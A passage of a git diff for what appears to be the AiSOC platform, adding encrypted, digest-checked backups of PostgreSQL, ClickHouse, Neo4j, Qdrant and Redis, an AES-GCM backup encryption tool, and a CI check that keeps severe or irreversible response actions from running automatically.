+p.write_text(json.dumps(doc, indent=2, sort_keys=True) + "\n")
+PYEOF
+}
+
+seal_artifact() {
+ # Encrypts $1 in place (producing $1.enc) when enabled, records the digests,
+ # and echoes the path that should actually be uploaded.
+ local src="$1"
+ local plain_sha cipher_sha out
+
+ plain_sha=$(python3 "${SCRIPT_DIR}/backup_crypt.py" sha256 "$src")
+
+ if [[ "$BACKUP_ENCRYPTION" == "off" ]]; then
+ manifest_add "$(basename "$src")" "$plain_sha" "" "$(wc -c < "$src")"
+ echo "$src"
+ return
+ fi
+
+ out="${src}.enc"
+ # backup_crypt prints "<plain>\t<cipher>\t<path>"
+ cipher_sha=$(python3 "${SCRIPT_DIR}/backup_crypt.py" encrypt "$src" --output "$out" | cut -f2)
+ rm -f "$src"
+ manifest_add "$(basename "$out")" "$plain_sha" "$cipher_sha" "$(wc -c < "$out")"
+ echo "$out"
+}
+
+upload_sealed() {
+ # seal then upload, keeping the .enc suffix on the remote key
+ local src="$1" dest_dir="$2"
+ local sealed
+ sealed=$(seal_artifact "$src")
+ s3_upload "$sealed" "${dest_dir}/$(basename "$sealed")"
+}
+
# ── pre-flight ────────────────────────────────────────────────────────────────
require aws
require pg_dump
@@ -118,7 +219,26 @@ require curl
[[ -z "$BACKUP_S3_BUCKET" ]] && { echo "BACKUP_S3_BUCKET is required" >&2; exit 1; }
+# Fail before dumping anything rather than after, so an operator who has not
+# set a key does not discover it once the dump is already on disk.
+if [[ "$BACKUP_ENCRYPTION" != "off" ]]; then
+ require python3
+ if ! python3 "${SCRIPT_DIR}/backup_crypt.py" keygen >/dev/null 2>&1; then
+ echo "The 'cryptography' package is required for backup encryption." >&2
+ echo "Install it, or set BACKUP_ENCRYPTION=off to accept plaintext backups." >&2
+ exit 1
+ fi
+ if [[ -z "${BACKUP_ENCRYPTION_KEY:-}${BACKUP_ENCRYPTION_KEY_FILE:-}" ]]; then
+ echo "BACKUP_ENCRYPTION is on but no key is set." >&2
+ echo " Generate one: python3 scripts/backup_crypt.py keygen" >&2
+ echo " Then set BACKUP_ENCRYPTION_KEY_FILE (preferred) or BACKUP_ENCRYPTION_KEY." >&2
+ echo " To back up without encryption, set BACKUP_ENCRYPTION=off explicitly." >&2
+ exit 1
+ fi
+fi
+
mkdir -p "$BACKUP_DIR"
+MANIFEST="${BACKUP_DIR}/manifest-${TIMESTAMP}.json"
trap 'rm -rf "$BACKUP_DIR"' EXIT
log "=== AiSOC Backup started: ${TIMESTAMP} ==="
@@ -126,28 +246,48 @@ log "Component: ${COMPONENT} | Dry-run: ${DRY_RUN}"
# ── 1. PostgreSQL ─────────────────────────────────────────────────────────────
backup_postgres() {
- [[ -z "$POSTGRES_URL" ]] && { fail "POSTGRES_URL is not set; skipping postgres backup"; return; }
+ [[ -z "$POSTGRES_URL" ]] && { unreachable "POSTGRES_URL is not set"; return; }
log "--- PostgreSQL backup ---"
local outfile="${BACKUP_DIR}/postgres-${TIMESTAMP}.sql.gz"
local s3dest="${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/postgres/postgres-${TIMESTAMP}.sql.gz"
+ # NB: when encryption is on the uploaded key gains a .enc suffix.
log "Dumping database…"
if [[ "$DRY_RUN" == "true" ]]; then
log "[dry-run] pg_dump $POSTGRES_URL | gzip > $outfile"
else
- pg_dump "$POSTGRES_URL" \
+ # pg_dump's stderr carries --verbose progress *and* the reason for any
+ # failure. Discarding it meant a failed backup exited non-zero with no
+ # explanation at all — including the common case of a pg_dump older than
+ # the server, which aborts before writing a byte. Keep it, and surface it
+ # on failure.
+ local dump_log="${BACKUP_DIR}/pg_dump.stderr"
+ if ! pg_dump "$POSTGRES_URL" \
--format=plain \
--no-owner \
--no-acl \
--verbose \
- 2>/dev/null \
- | gzip > "$outfile"
+ 2>"$dump_log" \
+ | gzip > "$outfile"; then
+ fail "pg_dump failed:"
+ sed 's/^/ /' "$dump_log" >&2
+ return
+ fi
+ if [[ ! -s "$outfile" ]]; then
+ fail "pg_dump produced an empty archive; refusing to upload it."
+ sed 's/^/ /' "$dump_log" >&2
+ return
+ fi
log "Dump size: $(du -sh "$outfile" | cut -f1)"
fi
- s3_upload "$outfile" "$s3dest"
+ if [[ "$DRY_RUN" == "true" ]]; then
+ s3_upload "$outfile" "$s3dest"
+ else
+ upload_sealed "$outfile" "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/postgres"
+ fi
s3_delete_old "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/postgres"
- log "PostgreSQL backup complete → $s3dest"
+ log "PostgreSQL backup complete → ${s3dest}${BACKUP_ENCRYPTION:+.enc}"
}
# ── 2. ClickHouse ─────────────────────────────────────────────────────────────
@@ -165,7 +305,7 @@ backup_clickhouse() {
2>/dev/null || echo "")
if [[ -z "$tables" ]]; then
- fail "Could not connect to ClickHouse at ${ch_url}; skipping"
+ unreachable "Could not connect to ClickHouse at ${ch_url}"
return
fi
@@ -185,8 +325,8 @@ backup_clickhouse() {
${auth_args[@]+"${auth_args[@]}"} \
| gzip > "$outfile"
log " Size: $(du -sh "$outfile" | cut -f1)"
- s3_upload "$outfile" \
- "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/clickhouse/${table}/${table}-${TIMESTAMP}.tsv.gz"
+ upload_sealed "$outfile" \
+ "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/clickhouse/${table}"
fi
done <<< "$tables"
@@ -240,32 +380,218 @@ backup_plugins() {
# Upload all artifacts
for f in "${outdir}"/*; do
[[ -f "$f" ]] || continue
- s3_upload "$f" \
- "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/plugins/$(basename "$f")"
+ if [[ "$DRY_RUN" == "true" ]]; then
+ s3_upload "$f" "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/plugins/$(basename "$f")"
+ else
+ upload_sealed "$f" "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/plugins"
+ fi
done
s3_delete_old "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/plugins"
log "Plugin store backup complete"
}
+
+# ── 4. Neo4j (entity graph) ───────────────────────────────────────────────────
+# The graph is not derivable from the lake: it carries relationships built at
+# ingest time and enriched since, so losing it loses the blast-radius and
+# attack-path surfaces even with every raw event intact.
+#
+# Exported as Cypher via APOC rather than neo4j-admin dump, because a dump
+# needs the database stopped or an enterprise online-backup licence, and an
+# export runs against a live community instance over HTTP.
+backup_neo4j() {
+ [[ -z "$NEO4J_URI" ]] && { log "NEO4J_URI not set; skipping Neo4j backup"; return; }
+ log "--- Neo4j backup ---"
+ local outfile="${BACKUP_DIR}/neo4j-${TIMESTAMP}.cypher.gz"
+
+ if [[ "$DRY_RUN" == "true" ]]; then
+ log "[dry-run] Would export the graph from ${NEO4J_URI}"
+ return
+ fi
+
+ local auth=""
+ [[ -n "$NEO4J_USER" ]] && auth="-u ${NEO4J_USER}:${NEO4J_PASSWORD}"
+
+ # apoc.export.cypher.all with stream:true returns the script in the
+ # response rather than writing to the server's import directory, which
+ # we have no way to read from here.
+ local query
+ query=$(cat <<'CYPHER'
+{"statements":[{"statement":"CALL apoc.export.cypher.all(null, {stream:true, format:'cypher-shell', useOptimizations:{type:'UNWIND_BATCH', unwindBatchSize:1000}}) YIELD cypherStatements RETURN cypherStatements"}]}
+CYPHER
+)
+ # shellcheck disable=SC2086
+ if ! curl -sf $auth -H 'Content-Type: application/json' \
+ -d "$query" "${NEO4J_HTTP_URL}/db/neo4j/tx/commit" \
+ | python3 -c "
+import json, sys
+doc = json.load(sys.stdin)
+if doc.get('errors'):
+ sys.stderr.write(json.dumps(doc['errors']) + '\n')
+ raise SystemExit(1)
+for result in doc.get('results', []):
+ for row in result.get('data', []):
+ for value in row.get('row', []):
+ if value:
+ sys.stdout.write(value)
+" | gzip > "$outfile"; then
+ fail "Neo4j export failed. APOC must be installed (apoc.export.cypher.all) and"
+ echo " apoc.export.file.enabled / apoc.import.file.enabled configured." >&2
+ return
+ fi
+
+ if [[ ! -s "$outfile" ]]; then
+ fail "Neo4j export produced an empty file; refusing to upload it."
+ return
+ fi
+
+ log "Graph export size: $(du -sh "$outfile" | cut -f1)"
+ upload_sealed "$outfile" "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/neo4j"
+ s3_delete_old "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/neo4j"
+ log "Neo4j backup complete"
+}
+
+# ── 5. Qdrant (vector store) ──────────────────────────────────────────────────
+# Embeddings are expensive to recompute and, for tenant-private case vectors,
+# not always recomputable — the source case may have been purged by retention.
+backup_qdrant() {
+ [[ -z "$QDRANT_URL" ]] && { log "QDRANT_URL not set; skipping Qdrant backup"; return; }
+ log "--- Qdrant backup ---"
+
+ local collections
+ collections=$(curl -sf "${QDRANT_URL}/collections" 2>/dev/null \
+ | python3 -c "
+import json, sys
+try:
+ doc = json.load(sys.stdin)
+except Exception:
+ raise SystemExit(0)
+for c in doc.get('result', {}).get('collections', []):
+ print(c['name'])
+" || echo "")
+
+ if [[ -z "$collections" ]]; then
+ unreachable "Could not list Qdrant collections at ${QDRANT_URL}"
+ return
+ fi
+
+ while IFS= read -r collection; do
+ [[ -z "$collection" ]] && continue
+ log " Snapshotting collection: ${collection}"
+ if [[ "$DRY_RUN" == "true" ]]; then
+ log " [dry-run] Would snapshot ${collection}"
+ continue
+ fi
+
+ # Qdrant creates the snapshot server-side, then we stream it out.
+ local snapshot_name
+ snapshot_name=$(curl -sf -X POST "${QDRANT_URL}/collections/${collection}/snapshots" \
+ | python3 -c "import json,sys; print(json.load(sys.stdin)['result']['name'])" 2>/dev/null || echo "")
+ if [[ -z "$snapshot_name" ]]; then
+ fail " Snapshot request failed for ${collection}"
+ continue
+ fi
+
+ local outfile="${BACKUP_DIR}/qdrant-${collection}-${TIMESTAMP}.snapshot"
+ if ! curl -sf -o "$outfile" \
+ "${QDRANT_URL}/collections/${collection}/snapshots/${snapshot_name}"; then
+ fail " Snapshot download failed for ${collection}"
+ continue
+ fi
+
+ # Server-side snapshots accumulate and fill the volume otherwise.
+ curl -sf -X DELETE \
+ "${QDRANT_URL}/collections/${collection}/snapshots/${snapshot_name}" >/dev/null || true
+
+ log " Size: $(du -sh "$outfile" | cut -f1)"
+ upload_sealed "$outfile" "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/qdrant/${collection}"
+ done <<< "$collections"
+
+ s3_delete_old "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/qdrant"
+ log "Qdrant backup complete"
+}
+
+# ── 6. Redis ──────────────────────────────────────────────────────────────────
+# Mostly cache, and mostly reconstructible — but it also holds scheduler leases
+# and rate-limiter state, and an RDB is cheap. Backed up so a restore does not
+# silently start with every scheduled job appearing due at once.
+backup_redis() {
+ [[ -z "$REDIS_URL" ]] && { log "REDIS_URL not set; skipping Redis backup"; return; }
+ if ! command -v redis-cli &>/dev/null; then
+ log "redis-cli not installed; skipping Redis backup"
+ return
+ fi
+ log "--- Redis backup ---"
+ local outfile="${BACKUP_DIR}/redis-${TIMESTAMP}.rdb"
+
+ if [[ "$DRY_RUN" == "true" ]]; then
+ log "[dry-run] Would run --rdb against ${REDIS_URL}"
+ return
+ fi
+
+ if ! redis-cli -u "$REDIS_URL" --rdb "$outfile" >/dev/null 2>&1; then
+ fail "redis-cli --rdb failed (BGSAVE may be disabled on a managed instance)"
+ return
+ fi
+ if [[ ! -s "$outfile" ]]; then
+ fail "Redis dump is empty; refusing to upload it."
+ return
+ fi
+
+ log "RDB size: $(du -sh "$outfile" | cut -f1)"
+ upload_sealed "$outfile" "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/redis"
+ s3_delete_old "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/redis"
+ log "Redis backup complete"
+}
+
# ── run selected components ───────────────────────────────────────────────────
case "$COMPONENT" in
postgres) backup_postgres ;;
clickhouse) backup_clickhouse ;;
plugins) backup_plugins ;;
+ neo4j) backup_neo4j ;;
+ qdrant) backup_qdrant ;;
+ redis) backup_redis ;;
all)
backup_postgres
backup_clickhouse
backup_plugins
+ backup_neo4j
+ backup_qdrant
+ backup_redis
;;
*)
- echo "Unknown component: $COMPONENT (choose: postgres|clickhouse|plugins|all)" >&2
+ echo "Unknown component: $COMPONENT" >&2
+ echo " choose: postgres|clickhouse|plugins|neo4j|qdrant|redis|all" >&2
exit 1
;;
esac
+# ── manifest ──────────────────────────────────────────────────────────────────
+# Uploaded last and deliberately unencrypted: it carries digests, not data, and
+# restore needs to read it before it has proved it holds the right key.
+if [[ "$DRY_RUN" != "true" ]] && [[ -f "$MANIFEST" ]]; then
+ python3 - "$MANIFEST" "$TIMESTAMP" "$BACKUP_ENCRYPTION" <<'PYEOF'
+import json, pathlib, sys
+path, ts, enc = sys.argv[1:4]
+p = pathlib.Path(path)
+doc = json.loads(p.read_text())
+doc["timestamp"] = ts
+doc["encryption"] = "aes-256-gcm" if enc != "off" else "none"
+doc["format_version"] = 1
+p.write_text(json.dumps(doc, indent=2, sort_keys=True) + "\n")
+PYEOF
+ s3_upload "$MANIFEST" \
+ "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/manifests/manifest-${TIMESTAMP}.json"
+ log "Manifest uploaded ($(python3 -c "import json,sys; print(len(json.load(open(sys.argv[1]))['artifacts']))" "$MANIFEST") artifacts)"
+fi
+
# ── summary ───────────────────────────────────────────────────────────────────
if [[ "$ERRORS" -eq 0 ]]; then
+ if [[ "$SKIPS" -gt 0 ]]; then
+ log "=== Backup dry-run completed; ${SKIPS} component(s) unreachable from here ==="
+ fi
log "=== Backup completed successfully ==="
notify_slack "success" "All components backed up to ${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/${TIMESTAMP}"
exit 0
diff --git a/scripts/backup_crypt.py b/scripts/backup_crypt.py
new file mode 100755
index 000000000..10fcf1d0b
--- /dev/null
+++ b/scripts/backup_crypt.py
@@ -0,0 +1,257 @@
+#!/usr/bin/env python3
+"""Authenticated encryption for backup artifacts.
+
+``scripts/backup.sh`` gzips a dump and uploads it. The architecture doc said
+those artifacts were AES-256-GCM encrypted with a SHA-256 manifest; they were
+not, so a bucket misconfiguration exposed every credential, token and event
+row the platform had ever stored. This module is the missing half.
+
+Why not ``openssl enc``: it refuses AEAD ciphers outright ("AEAD ciphers not
+supported by the enc utility"), so the usual shell one-liner cannot produce
+GCM. ``cryptography`` is already a dependency of services/api, so AESGCM is
+available without adding one.
+
+Format (little to gain from inventing more than needed):
+
+ magic 8 bytes b"AISOCBK1"
+ version 1 byte 0x01
+ prefix 8 bytes random nonce prefix for this file
+ chunks repeated 4-byte big-endian plaintext length, then GCM output
+ (ciphertext || 16-byte tag)
+ final 4 bytes 0x00000000, itself an authenticated empty chunk
+
+Each chunk gets nonce ``prefix || counter`` (12 bytes total) and carries the
+counter plus a final-chunk flag in its AAD. That buys three properties a
+naive whole-file encrypt does not: chunks cannot be reordered, chunks cannot
+be swapped between files, and a truncated file fails to decrypt rather than
+silently returning a short but valid-looking dump. Truncation is the failure
+that matters here, because a restore from a truncated backup looks like a
+successful restore of a smaller database.
+"""
+
+from __future__ import annotations
+
+import argparse
+import hashlib
+import os
+import secrets
+import struct
+import sys
+from pathlib import Path
+from typing import BinaryIO
+
+try:
+ from cryptography.exceptions import InvalidTag
+ from cryptography.hazmat.primitives.ciphers.aead import AESGCM
+except ImportError: # pragma: no cover - surfaced as an actionable error below
+ print(
+ "backup_crypt: the 'cryptography' package is required.\n" " pip install cryptography",
+ file=sys.stderr,
+ )
+ raise SystemExit(2) from None
+
+MAGIC = b"AISOCBK1"
+VERSION = 1
+CHUNK_SIZE = 4 * 1024 * 1024
+KEY_BYTES = 32
+TAG_BYTES = 16
+_ENV_KEY = "BACKUP_ENCRYPTION_KEY"
+_ENV_KEY_FILE = "BACKUP_ENCRYPTION_KEY_FILE"
+
+
+class BackupCryptError(RuntimeError):
+ """Raised for any key, format or authentication problem."""
+
+
+def load_key() -> bytes:
+ """Read the 32-byte key from the environment.
+
+ Accepts 64 hex characters in ``BACKUP_ENCRYPTION_KEY`` or a path in
+ ``BACKUP_ENCRYPTION_KEY_FILE`` (a file is preferable: an env var is
+ visible in ``ps`` output and in most container introspection).
+ """
+ raw = os.environ.get(_ENV_KEY, "").strip()
+ key_file = os.environ.get(_ENV_KEY_FILE, "").strip()
+
+ if key_file:
+ path = Path(key_file)
+ if not path.is_file():
+ raise BackupCryptError(f"{_ENV_KEY_FILE} points at a missing file: {key_file}")
+ raw = path.read_text(encoding="utf-8").strip()
+
+ if not raw:
+ raise BackupCryptError(
+ f"No backup encryption key. Set {_ENV_KEY} to 64 hex characters, or "
+ f"{_ENV_KEY_FILE} to a file containing them. Generate one with:\n"
+ f" python3 scripts/backup_crypt.py keygen"
+ )
+
+ try:
+ key = bytes.fromhex(raw)
+ except ValueError as exc:
+ raise BackupCryptError(f"Backup encryption key is not hex ({exc}). Expected 64 hex characters.") from exc
+
+ if len(key) != KEY_BYTES:
+ raise BackupCryptError(f"Backup encryption key must be {KEY_BYTES} bytes " f"({KEY_BYTES * 2} hex characters); got {len(key)}.")
+ return key
+
+
+def _aad(counter: int, *, final: bool) -> bytes:
+ return MAGIC + bytes([VERSION]) + struct.pack(">I", counter) + (b"\x01" if final else b"\x00")
+
+
+def encrypt_stream(src: BinaryIO, dst: BinaryIO, key: bytes) -> tuple[str, str, int]:
+ """Encrypt ``src`` into ``dst``. Returns (plaintext sha256, ciphertext sha256, size)."""
+ aead = AESGCM(key)
+ prefix = secrets.token_bytes(8)
+
+ plain_digest = hashlib.sha256()
+ cipher_digest = hashlib.sha256()
+
+ def emit(blob: bytes) -> None:
+ dst.write(blob)
+ cipher_digest.update(blob)
+
+ emit(MAGIC + bytes([VERSION]) + prefix)
+
+ counter = 0
+ while True:
+ chunk = src.read(CHUNK_SIZE)
+ if not chunk:
+ break
+ plain_digest.update(chunk)
+ nonce = prefix + struct.pack(">I", counter)
+ sealed = aead.encrypt(nonce, chunk, _aad(counter, final=False))
+ emit(struct.pack(">I", len(chunk)) + sealed)
+ counter += 1
+
+ # Authenticated end-of-stream marker, so truncation cannot pass as success.
+ nonce = prefix + struct.pack(">I", counter)
+ sealed = aead.encrypt(nonce, b"", _aad(counter, final=True))
+ emit(struct.pack(">I", 0) + sealed)
+
+ size = dst.tell() if dst.seekable() else -1
+ return plain_digest.hexdigest(), cipher_digest.hexdigest(), size
+
+
+def decrypt_stream(src: BinaryIO, dst: BinaryIO, key: bytes) -> str:
+ """Decrypt ``src`` into ``dst``. Returns the plaintext sha256."""
+ aead = AESGCM(key)
+
+ header = src.read(len(MAGIC) + 1 + 8)
+ if len(header) < len(MAGIC) + 1 + 8:
+ raise BackupCryptError("File is too short to be an AiSOC backup artifact.")
+ if header[: len(MAGIC)] != MAGIC:
+ raise BackupCryptError(
+ "Not an AiSOC encrypted backup (bad magic). If this artifact predates "
+ "backup encryption, decrypt is not required — restore it directly."
+ )
+ version = header[len(MAGIC)]
+ if version != VERSION:
+ raise BackupCryptError(f"Unsupported backup format version {version}.")
+ prefix = header[len(MAGIC) + 1 :]
+
+ plain_digest = hashlib.sha256()
+ counter = 0
+ saw_final = False
+
+ while True:
+ raw_len = src.read(4)
+ if not raw_len:
+ break
+ if len(raw_len) != 4:
+ raise BackupCryptError("Truncated chunk header; the artifact is incomplete.")
+ (length,) = struct.unpack(">I", raw_len)
+ final = length == 0
+ sealed = src.read(length + TAG_BYTES)
+ if len(sealed) != length + TAG_BYTES:
+ raise BackupCryptError("Truncated chunk body; the artifact is incomplete.")
+
+ nonce = prefix + struct.pack(">I", counter)
+ try:
+ plain = aead.decrypt(nonce, sealed, _aad(counter, final=final))
+ except InvalidTag as exc:
+ raise BackupCryptError(
+ f"Authentication failed on chunk {counter}. Either the key is wrong " f"or the artifact was modified in transit or at rest."
+ ) from exc
+
+ if final:
+ saw_final = True
+ break
+ plain_digest.update(plain)
+ dst.write(plain)
+ counter += 1
+
+ if not saw_final:
+ raise BackupCryptError(
+ "Backup ended without its end-of-stream marker, so it is truncated. " "Restoring it would silently produce a partial database."
+ )
+ return plain_digest.hexdigest()
+
+
+def sha256_file(path: Path) -> str:
+ digest = hashlib.sha256()
+ with path.open("rb") as handle:
+ for block in iter(lambda: handle.read(CHUNK_SIZE), b""):
+ digest.update(block)
+ return digest.hexdigest()
+
+
+def main(argv: list[str] | None = None) -> int:
+ parser = argparse.ArgumentParser(description=__doc__)
+ sub = parser.add_subparsers(dest="command", required=True)
+
+ sub.add_parser("keygen", help="Print a fresh 256-bit key as hex.")
+
+ enc = sub.add_parser("encrypt", help="Encrypt a file in place-adjacent (.enc).")
+ enc.add_argument("source")
+ enc.add_argument("--output", help="Defaults to <source>.enc")
+
+ dec = sub.add_parser("decrypt", help="Decrypt a .enc artifact.")
+ dec.add_argument("source")
+ dec.add_argument("--output", help="Defaults to <source> without .enc")
+
+ digest = sub.add_parser("sha256", help="Print the SHA-256 of a file.")
+ digest.add_argument("source")
+
+ args = parser.parse_args(argv)
+
+ if args.command == "keygen":
+ print(secrets.token_bytes(KEY_BYTES).hex())
+ return 0
+
+ if args.command == "sha256":
+ print(sha256_file(Path(args.source)))
+ return 0
+
+ source = Path(args.source)
+ if not source.is_file():
+ print(f"backup_crypt: no such file: {source}", file=sys.stderr)
+ return 2
+
+ try:
+ key = load_key()
+ if args.command == "encrypt":
+ target = Path(args.output) if args.output else source.with_suffix(source.suffix + ".enc")
+ with source.open("rb") as src, target.open("wb") as dst:
+ plain_sha, cipher_sha, _ = encrypt_stream(src, dst, key)
+ # Emitted for the manifest that backup.sh assembles.
+ print(f"{plain_sha}\t{cipher_sha}\t{target}")
+ else:
+ if args.output:
+ target = Path(args.output)
+ elif source.suffix == ".enc":
+ target = source.with_suffix("")
+ else:
+ target = source.with_name(source.name + ".plain")
+ with source.open("rb") as src, target.open("wb") as dst:
+ plain_sha = decrypt_stream(src, dst, key)
+ print(f"{plain_sha}\t{target}")
+ except BackupCryptError as exc:
+ print(f"backup_crypt: {exc}", file=sys.stderr)
+ return 1
+ return 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/scripts/check_action_contract.py b/scripts/check_action_contract.py
new file mode 100644
index 000000000..be508b9e8
--- /dev/null
+++ b/scripts/check_action_contract.py
@@ -0,0 +1,286 @@
+#!/usr/bin/env python3
+"""Gate: every response action must declare what it does to a production estate.
+
+Pillar 3. An action registry is only useful if it can answer, before running,
+what an action does when the finding is wrong. Four things were previously
+inferred rather than declared, each with its own failure mode:
+
+ risk inferred from the capability name in one place and a policy
+ table in another, which can disagree
+ reversibility a hardcoded list of four actions; nothing said whether a
+ fifth could be undone
+ verification absent, so an action reported success on an HTTP 200 and
+ nobody knew whether a probe existed to check the effect
+ approval no way to express "no tier may ever auto-execute this", only
+ "the current tier happens not to"
+
+This asserts every registered executor declares a coherent contract, and that
+the declarations are internally consistent — a HIGH-impact action with no
+verification probe fails here rather than in an incident.
+
+Run: python3 scripts/check_action_contract.py
+"""
+
+from __future__ import annotations
+
+import argparse
+import sys
+from pathlib import Path
+
+REPO_ROOT = Path(__file__).resolve().parent.parent
+ACTIONS = REPO_ROOT / "services" / "actions"
+sys.path.insert(0, str(ACTIONS))
+
+
+def _import_builtin_executors() -> None:
+ """Import the adapter modules so they self-register."""
+ import importlib
+
+ for module in (
+ "app.executors.endpoint",
+ "app.executors.identity",
+ "app.executors.network",
+ "app.executors.siem",
+ "app.executors.notification",
+ "app.executors.chatops",
+ ):
+ try:
+ importlib.import_module(module)
+ except Exception as exc: # noqa: BLE001 - reported, not fatal
+ print(f" note: could not import {module}: {type(exc).__name__}", file=sys.stderr)
+
+
+def check_contracts() -> list[str]:
+ from app.live_actions.contract import (
+ MUST_BE_REVERSIBLE,
+ NEVER_AUTONOMOUS,
+ ActionContract,
+ ActionImpact,
+ ApprovalRequirement,
+ )
+ from app.live_actions.executor import LiveActionExecutor
+
+ errors: list[str] = []
+
+ # The contract must be reachable from the base class, or executors
+ # inherit nothing and every check below passes vacuously.
+ if not issubclass(LiveActionExecutor, ActionContract):
+ errors.append(
+ "LiveActionExecutor no longer inherits ActionContract; every executor "
+ "would declare nothing and this gate would pass on an empty set"
+ )
+ return errors
+
+ # Unsafe defaults are the whole reason omissions fail closed.
+ if ActionContract.impact != ActionImpact.IRREVERSIBLE:
+ errors.append(
+ f"ActionContract.impact defaults to {ActionContract.impact.value}; it must "
+ f"default to irreversible so an undeclared action fails closed"
+ )
+ if ActionContract.approval != ApprovalRequirement.PROHIBITED:
+ errors.append(
+ f"ActionContract.approval defaults to {ActionContract.approval.value}; it "
+ f"must default to prohibited"
+ )
+ if ActionContract.has_verification_probe is not False:
+ errors.append("ActionContract.has_verification_probe must default to False")
+
+ # The two impact tables must stay consistent with each other.
+ overlap = NEVER_AUTONOMOUS & MUST_BE_REVERSIBLE
+ if ActionImpact.IRREVERSIBLE in overlap:
+ errors.append(
+ "ActionImpact.IRREVERSIBLE appears in MUST_BE_REVERSIBLE; an "
+ "irreversible action cannot be required to declare a reverse"
+ )
+
+ # Every concrete executor's own declaration.
+ _import_builtin_executors()
+ subclasses = [
+ cls
+ for cls in _all_subclasses(LiveActionExecutor)
+ if not getattr(cls, "__abstractmethods__", None)
+ ]
+
+ for cls in subclasses:
+ name = f"{cls.__module__}.{cls.__name__}"
+
+ # An intermediate base declaring neither vendor nor capability is not
+ # dispatchable: the registry refuses to register it. Grading its
+ # contract would report a violation nobody can act on.
+ if not cls.vendor_id and not cls.capability:
+ continue
+ if not cls.vendor_id or not cls.capability:
+ errors.append(
+ f"{name}: declares one of vendor_id/capability but not the other"
+ )
+ continue
+
+ for problem in cls.contract_violations():
+ errors.append(f"{name}: {problem}")
+
+ # A reverse that names a capability nobody implements is worse than
+ # no reverse: the rollback path believes it has one.
+ if cls.reverse_capability:
+ from app.live_actions.capabilities import KNOWN_CAPABILITIES
+
+ if cls.reverse_capability not in KNOWN_CAPABILITIES:
+ errors.append(
+ f"{name}: reverse_capability {cls.reverse_capability!r} is not a "
+ f"known capability, so the rollback path would look up nothing"
+ )
+
+ return errors
+
+
+def check_approval_matrix() -> list[str]:
+ """The matrix must never be able to lower a requirement."""
+ from app.live_actions.contract import ActionImpact, ApprovalRequirement
+ from app.services.approval_matrix import (
+ AUTOMATIC_CONFIDENCE_FLOOR,
+ TIER_MAX_AUTOMATIC,
+ evaluate,
+ )
+
+ errors: list[str] = []
+
+ # No tier may auto-execute severe or irreversible impact.
+ for tier, ceiling in TIER_MAX_AUTOMATIC.items():
+ if ceiling in (ActionImpact.SEVERE, ActionImpact.IRREVERSIBLE):
+ errors.append(
+ f"tier {tier} permits automatic execution up to {ceiling.value}; "
+ f"no tier may auto-execute at that impact"
+ )
+
+ # Severe and irreversible must have no confidence floor at all —
+ # an unreachable threshold invites someone to lower it.
+ for impact in (ActionImpact.SEVERE, ActionImpact.IRREVERSIBLE):
+ if impact in AUTOMATIC_CONFIDENCE_FLOOR:
+ errors.append(
+ f"{impact.value} has a confidence floor defined; it must have none, "
+ f"because no confidence makes it automatic"
+ )
+
+ # Full confidence at the highest tier must still not auto-execute these.
+ for impact in (ActionImpact.SEVERE, ActionImpact.IRREVERSIBLE):
+ decision = evaluate(
+ impact=impact,
+ declared_approval=ApprovalRequirement.AUTOMATIC,
+ confidence=1.0,
+ tier="L4",
+ )
+ if decision.can_auto_execute:
+ errors.append(
+ f"{impact.value} at 100% confidence and tier L4 auto-executed; "
+ f"the matrix lowered a requirement it must only raise"
+ )
+
+ # A contract demanding a human must survive any tier and confidence.
+ decision = evaluate(
+ impact=ActionImpact.LOW,
+ declared_approval=ApprovalRequirement.MANDATORY_HUMAN,
+ confidence=1.0,
+ tier="L4",
+ )
+ if decision.can_auto_execute:
+ errors.append(
+ "a MANDATORY_HUMAN contract auto-executed at L4/100%; the tier "
+ "overrode the action's own declaration"
+ )
+
+ # Absent confidence must behave as the lowest band.
+ decision = evaluate(
+ impact=ActionImpact.MODERATE,
+ declared_approval=ApprovalRequirement.AUTOMATIC,
+ confidence=None,
+ tier="L4",
+ )
+ if decision.can_auto_execute:
+ errors.append(
+ "an action with no confidence score auto-executed; a scoring bug "
+ "would become an autonomous action"
+ )
+
+ return errors
+
+
+def check_capability_mirror() -> list[str]:
+ """The actions mirror must match the connectors Capability enum.
+
+ capabilities.py documents a CI check at
+ ``services/actions/tests/test_capability_mirror.py`` that compares the two
+ sets. No such file exists, so the mirror it describes has never been
+ verified — which is how four reverse verbs the action contracts name
+ ended up missing from both.
+ """
+ import importlib.util
+
+ errors: list[str] = []
+ base = REPO_ROOT / "services" / "connectors" / "app" / "connectors" / "base.py"
+ if not base.exists():
+ return ["services/connectors/app/connectors/base.py not found"]
+
+ # Loaded by path: importing the connectors package pulls in its whole
+ # dependency tree, which this gate does not need.
+ import re
+
+ source = base.read_text(encoding="utf-8")
+ match = re.search(r"class Capability\(str, Enum\):(.*?)\n\n\n", source, re.S)
+ if not match:
+ return ["could not locate the Capability enum in connectors/base.py"]
+ connector_caps = set(re.findall(r'^\s+[A-Z_]+ = "([^"]+)"', match.group(1), re.M))
+ del importlib
+
+ from app.live_actions.capabilities import KNOWN_CAPABILITIES
+
+ missing_here = connector_caps - KNOWN_CAPABILITIES
+ if missing_here:
+ errors.append(
+ f"capabilities declared in connectors but missing from the actions "
+ f"mirror: {', '.join(sorted(missing_here))}"
+ )
+ missing_there = KNOWN_CAPABILITIES - connector_caps
+ if missing_there:
+ errors.append(
+ f"capabilities in the actions mirror but missing from the connectors "
+ f"Capability enum: {', '.join(sorted(missing_there))}"
+ )
+ return errors
+
+
